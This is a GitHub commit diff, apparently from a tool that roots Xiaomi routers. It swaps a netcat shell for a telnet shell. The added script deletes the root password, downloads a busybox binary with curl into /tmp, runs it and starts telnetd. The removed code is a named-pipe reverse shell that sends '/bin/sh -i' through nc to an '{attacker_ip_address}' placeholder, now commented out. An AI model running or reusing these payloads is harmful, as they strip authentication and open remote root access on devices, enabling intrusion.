-
Notifications
You must be signed in to change notification settings - Fork 281
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Improved shell: open telnet instead of a netcat shell
- Loading branch information
Showing
5 changed files
with
38 additions
and
35 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
######################################## | ||
# Download standalone busybox and start telnet | ||
# busybox binary downloaded from https://www.busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel | ||
######################################## | ||
passwd -d root # Remove root password, as the default one set by xiaomi is unknown | ||
|
||
# kill/stop telnet, in case it is running from a previous execution | ||
pgrep busybox | xargs kill | ||
|
||
cd /tmp | ||
rm -rf busybox | ||
curl "https://www.busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel" --output busybox | ||
chmod +x busybox | ||
./busybox telnetd | ||
|
||
echo "Script executed" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,11 +1,15 @@ | ||
set -euo pipefail | ||
|
||
create_tunnel() {{ | ||
file=$1 | ||
port=$2 | ||
rm -rf $file; mkfifo $file;cat $file|/bin/sh -i 2>&1|nc {attacker_ip_address} $port >$file | ||
}} | ||
######################################## | ||
# Create a netcat tunnel (this method is not used anymore in favour of telnet) | ||
######################################## | ||
# create_tunnel() {{ | ||
# file=$1 | ||
# port=$2 | ||
# rm -rf $file; mkfifo $file;cat $file|/bin/sh -i 2>&1|nc {attacker_ip_address} $port >$file | ||
# }} | ||
|
||
create_tunnel "{directory}" "{port}" | ||
# create_tunnel "{directory}" "{port}" | ||
# Add more calls to create_tunnel here if you want to open multiple shells | ||
echo "Script executed" | ||
|
||
|